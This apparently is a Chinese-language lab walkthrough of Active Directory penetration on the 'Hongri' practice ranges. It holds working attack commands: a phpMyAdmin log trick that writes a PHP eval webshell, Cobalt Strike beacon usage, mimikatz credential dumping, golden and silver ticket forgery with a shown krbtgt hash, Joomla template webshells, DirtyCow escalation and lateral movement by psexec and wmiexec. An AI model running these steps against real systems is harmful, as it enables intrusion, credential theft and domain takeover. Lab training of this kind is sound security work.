本文最后更新于 2026年1月8日 晚上
域渗透基础与实战
基本概念
Windows工作组:对等网络,分散式管理,通过不通的账户实现局域网内多个计算机的使用,其添加方式简单,但规模及其有限、
域(domain):单点登录,使用域账号即可访问域内任何资源,采用集中化管理,具有高度扩展性,可以建立多个域的信任关系
域控制器:负责用户与计算机之间的验证工作的计算机,域控包含了这个域的账户,密码,属于这个域的数据库,是活动目录的存储位置
活动目录(Active Directory):活动目录是微软Windows Server中们负责架构中大型网络环境集中式目录管理服务,域内的计算机共享一个活动目录数据库,包含了整个域的对象和安全信息,活动目录负责目录数据库的添加,修改,更新和删除
域、域树、林、组织单元

域树:用域组成的结构树,域树中存在一个根域,往下则有子域
林:是由一棵或者多棵树组成,不同域树独享连续的命名空间
组织单元:是活动目录中的容器,可以理解为文件夹,包含域中的具体对象
域渗透
基本域信息
1 2 3 4 5 6
| chcp 65001 whoami /all net user /domain net group "Domain Admins" /domain net config workstation nltest /dclist:example.com
|
1 2
| dsquery server dsquery user -name *
|
查找域控
1 2
| nslookup -querytype=SRV _ldap._tcp.dc._msdcs.example.com nltest /dclist:example.com
|
查看域内及其列表
红日靶场(一)
内网扫描本地存活网段
1 2 3 4
| nmap -PR -n -sn 192.168.190.0/24
|

找到靶机
用nmap 扫描端口,发现80端口
1
| nmap -sS -sV -sC -Pn -n -p 1-65535 192.168.190.149
|

扫描一下目录,发现有phpmyadmin

弱口令登录

尝试phpmyadmin日志注入,绝对路径已经由phpinfo得到
1 2 3
| SET GLOBAL general_log=on; SET GLOBAL general_log_file='C:/phpStudy/WWW/hack.php' SELECT "<?php @eval($_POST['hack']);?>";
|
蚁剑链接

发现具有administrator权限

上传木马


执行,可以看到主机成功上线

提权

csbeacon命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| beacon> help Beacon Commands =============== Command Description ------- ----------- browserpivot 注入受害者浏览器进程 bypassuac 绕过UAC cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect Connect to a Beacon peer over TCP covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程VNC dllinject 反射DLL注入进程 dllload 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 尝试提权 execute 在目标上执行程序(无输出) execute-assembly 在目标上内存中执行本地.NET程序 exit 退出beacon getprivs Enable system privileges on current token getsystem 尝试获取SYSTEM权限 getuid 获取用户ID hashdump 转储密码哈希值 help 帮助 inject 在特定进程中生成会话 jobkill 杀死一个后台任务 jobs 列出后台任务 kerberos_ccache_use 从ccache文件中导入票据应用于此会话 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use 从ticket文件中导入票据应用于此会话 keylogger 键盘记录 kill 结束进程 link Connect to a Beacon peer over a named pipe logonpasswords 使用mimikatz转储凭据和哈希值 ls 列出文件 make_token 创建令牌以传递凭据 mimikatz 运行mimikatz mkdir 创建一个目录 mode dns 使用DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon) mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon) mode http 使用HTTP作为通信通道 mv 移动文件 net net命令 note 备注 portscan 进行端口扫描 powerpick 通过Unmanaged PowerShell执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本 ppid Set parent ps 显示进程列表 psexec psexec_psh psinject 在特定进程中执行命令 pth 使用进行传递哈希 pwd 当前目录位置 reg rev2self 恢复原始令牌 rm 删除文件或文件夹 rportfwd 端口转发 run 在目标上执行程序返回输出 runas 以另一个用户权限执行程序 runasadmin 在高权限下执行程序 runu screenshot 屏幕截图 setenv 设置环境变量 shell 执行命令 shinject 将注入进程 shspawn 生成进程并将注入其中 sleep 设置睡眠延迟时间 socks 启动代理 socks 停止 spawn spawnas spawnto spawnu ssh 使用连接远程主机 ssh-key 使用密钥连接远程主机 steal_token 从进程中窃取令牌 timestomp 将一个文件时间戳应用到另一个文件 unlink upload 上传文件 wdigest 使用转储明文凭据 winrm 使用在主机上生成会话 wmi 使用在主机上生成会话 argue 进程参数欺骗
|
获取密码凭证

net view查看域内主机

使用nmap 扫描内网资源,发现两台主机

对其中一台端口扫描,有445端口

尝试进行永恒之蓝利用,使用CS内置的psexes模块

红日靶场(二)
一、黄金票据
Kerberos认证协议:Windows域环境用于身份验证的默认协议,通过三方认证确保身份合法性
KDC:密钥分发中心,包含AS(身份认证服务)、TGS(票据授权服务)两个子服务
TGT:票据授予票据、客户端向AS申请的临时身份凭证、后续向TGS申请访问具体服务的权限,由krbtgt账户的哈希加密
ST:服务票据、用于访问特定服务的门票,由目标服务密码哈希加密
Session key:会话密钥,由KDC生成的临时对称密钥,用于服务端和客户端的之间的安全通信
Authenticator:验证器,用sessionkey加密的时间戳,用于证明票据拥有者
KRBTGT账户:域内的内置账户,用于加密/解密TGT
验证流程
1.客户端输入账号密码后,KDC响应生成session key 和TGT,TGT包含session key,KDC对这两个都行进行加密,数据包返回给客户端,TGT用krbtgt密码hash,sessionkey用用户密码hash
2.访问特定服务时,客户端把TGT和Authenticator(由sessionkey加密的时间戳)一起发给TGS,TGS,TGS解密TGT后获得sessionkey,用sessionkey解密Authenticator,验证身份,然后生成一个由服务密钥加密的服务票据和一个新的服务会话密钥,从而拿到访问目标服务的专属门票

3.客户端将服务票据与用服务会话密钥加密的新验证器发送给目标服务,服务端用自己的密钥解密服务票据,提取密钥解密验证器,确认身份后授权访问

黄金票据原理:通过掌控krbtgt用户的hash,来伪造tgt,来冒充域内任何用户
攻击前提:获得域的SID,krbtgt用户的ntml哈希
攻击实施:伪造tgt
内网网段扫描

对154主机进行端口探测
发现7001端口有weblogic开放,工具写码

哥斯拉连接

上线CS,开始收集信息
查看域管理员用户
1
| shell net group "domain admins" /domain
|

查看其他主机名
1
| shell net group "domain computers" /domain
|

获取机器ip地址

抓取明文密码
1 2
| mimikatz sekurlsa::logonpasswords mimikatz kerberos::purge
|

开始横向

权限维持
黄金票据
抓取hashdump,获取ntlm值

1
| krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
|

获取Administrator的SID值

1
| de1ay\administrator S-1-5-21-2756371121-2868759905-3853650604-500
|
清空已有票据,如果有域成员凭证会影响凭证伪造
1
| mimikatz kerberos::purge
|
生成票据前,查看域权限,可以看到无法访问
1
| shell dir \\DC\C$ //DC是域控主机名字,C$是windows系统默认管理共享文档
|
生成票据

1
| mimikatz kerberos::golden /user:zhuo /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /endin:480 /renewmax:10080 /ptt
|
列出当前会话中的票据

再次查看域权限,cifs和ldap是同时可用的

白银票据
检查cifs域权限,是失败的,

制作白银票据,访问cifs服务
1
| mimikatz kerberos::golden /user:zhup /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:dc.de1ay.com /service:cifs /rc4:89b05b05feb5088ac2bbd703cd161850 /ptt
|
与黄金票据的区别就是多了具体的目标target用于确定服务,hash用的自己用户的hash
可以看到可以访问cifs服务,但是无法访问ldap服务

接下来伪造ldap服务
1
| mimikatz kerberos::golden /user:zhup /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:dc.de1ay.com /service:ldap /rc4:89b05b05feb5088ac2bbd703cd161850 /ptt
|
可以看到可以抓取到krbtgt的hash,cifs服务用不了了


可以伪造的服务如下

总结
//CS中监听器的区别与选择
1 2 3 4
| beacon http/https beacon dns beacon smb beacon tcp
|
白银票据和黄金票据的区别
白银票据伪造的是获取服务的权限,黄金票据伪造的是域管理员的权限
红日靶场(三)
扫描本机网段

发现有主机80端口开放
访问,有登录接口

扫描一下目录,configuration.php文件泄露配置信息,有数据库密码

远程链接数据库

在joomla官方文档中找到了修改密码的操作

添加了一个账户admin2:secret,成功登录

网站存在beez3模板,可以直接插入一句话木马


蚁剑链接成功

发现虚拟终端无法执行命令

目录扫描中,有phpinfo泄露,可以看到启用了disable_function

尝试用蚁剑的disable_function插件绕过,这里使用user_filter成功绕过

在目录下面翻到了一对账密,站点开启了ssh服务,猜测应该是ssh的账密

使用ssh登录,登录成功

开始信息收集,可以机器有两个网段,可以判定存在内网

并且这个linux的内核版本存在漏洞,可以用脏牛提权
准备脏牛文件,上传到目标机器,并提权

提权成功,成功创建了一个toor的root账户

使用msf创建一个linux的木马

msf使用exploit/multi/handler监听,成功反弹shell

查看路由

用autoroute模块以此会话添加一个到93网段的路由,方便测试

使用uxiliary/server/socks_proxy,把会话代理出去
1 2 3
| use auxiliary/server/socks_proxy set srvport set
|
使用auxiliary/scanner/discovery/udp_probe模块模块,扫一下内网存活的主机
发现三台主机

使用auxiliary/scanner/portscan/tcp进行端口扫描



发现所有机器都开启了445端口
先尝试扫描是否有永恒之蓝漏洞,发现都没有

尝试smb爆破,成功爆破出密码

使用psexec成功链接

以同样的方式获取其他两台机器,只成功了一台,有一台失败了
使用mimikatz抓取密码
1
| kiwi_cmd sekurlsa::logonPasswords
|

抓取到明文密码为zxcASDqw123!!

尝试用psexsc链接失败了
尝试用wmiexec链接成功

总结
psexec:一个轻量级远程执行工具,在目标机器启动psexecsvc服务,把命令回显到客户端,需要对方开启admin$共享,会留痕
wmiexec:基于WMI接口实现远程命令执行,依赖445、135等端口,隐蔽性强,但速度较慢
msf常用模块
1 2 3 4
| uxiliary/server/socks_proxy auxiliary/scanner/portscan/tcp run auto -s 目的网段 auxiliary/scanner/discovery/udp_probe
|